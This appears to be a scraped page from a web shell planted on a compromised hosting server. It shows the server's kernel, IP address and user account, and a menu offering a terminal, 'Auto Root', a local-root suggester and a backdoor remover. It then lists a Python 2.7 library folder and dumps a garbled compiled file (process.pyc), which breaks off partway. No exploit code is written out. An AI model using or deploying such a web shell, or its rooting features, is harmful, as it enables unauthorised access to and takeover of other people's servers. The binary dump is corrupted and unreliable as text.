Linux yavrix.internet-webhosting.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
LiteSpeed
Server IP : 103.8.25.136 & Your IP : 216.73.216.204
Domains :
Cant Read [ /etc/named.conf ]
User : klinikpe
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python2.7 /
site-packages /
concurrent /
futures /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.py
887
B
-rw-r--r--
2017-04-14 14:32
__init__.pyc
802
B
-rw-r--r--
2018-10-30 23:07
__init__.pyo
802
B
-rw-r--r--
2018-10-30 23:07
_base.py
21.9
KB
-rw-r--r--
2017-04-14 14:32
_base.pyc
24.21
KB
-rw-r--r--
2018-10-30 23:07
_base.pyo
24.21
KB
-rw-r--r--
2018-10-30 23:07
process.py
14.63
KB
-rw-r--r--
2017-04-14 14:32
process.pyc
12.37
KB
-rw-r--r--
2018-10-30 23:07
process.pyo
12.37
KB
-rw-r--r--
2018-10-30 23:07
thread.py
4.97
KB
-rw-r--r--
2017-04-14 14:32
thread.pyc
4.85
KB
-rw-r--r--
2018-10-30 23:07
thread.pyo
4.85
KB
-rw-r--r--
2018-10-30 23:07
Save
Rename
� i��Xc @ s! d Z d d l Z d d l m Z d d l Z d d l Z d d l Z d d l Z d d l Z d Z e j � Z e a d � Z d Z d e f d � � YZ d e f d � � YZ d e f d � � YZ d � Z d � Z d � Z e a d a d � Z d e j f d � � YZ e j e � d S( s+ Implements ProcessPoolExecutor. The follow diagram and text describe the data-flow through the system: |======================= In-process =====================|== Out-of-process ==| +----------+ +----------+ +--------+ +-----------+ +---------+ | | => | Work Ids | => | | => | Call Q | => | | | | +----------+ | | +-----------+ | | | | | ... | | | | ... | | | | | | 6 | | | | 5, call() | | | | | | 7 | | | | ... | | | | Process | | ... | | Local | +-----------+ | Process | | Pool | +----------+ | Worker | | #1..n | | Executor | | Thread | | | | | +----------- + | | +-----------+ | | | | <=> | Work Items | <=> | | <= | Result Q | <= | | | | +------------+ | | +-----------+ | | | | | 6: call() | | | | ... | | | | | | future | | | | 4, result | | | | | | ... | | | | 3, except | | | +----------+ +------------+ +--------+ +-----------+ +---------+ Executor.submit() called: - creates a uniquely numbered _WorkItem and adds it to the "Work Items" dict - adds the id of the _WorkItem to the "Work Ids" queue Local worker thread: - reads work ids from the "Work Ids" queue and looks up the corresponding WorkItem from the "Work Items" dict: if the work item has been cancelled then it is simply removed from the dict, otherwise it is repackaged as a _CallItem and put in the "Call Q". New _CallItems are put in the "Call Q" until "Call Q" is full. NOTE: the size of the "Call Q" is kept small because calls placed in the "Call Q" can no longer be cancelled with Future.cancel(). - reads _ResultItems from "Result Q", updates the future stored in the "Work Items" dict and deletes the dict entry Process #1..n: - reads _CallItems from "Call Q", executes the calls, and puts the resulting _ResultItems in "Request Q" i����N( t _bases"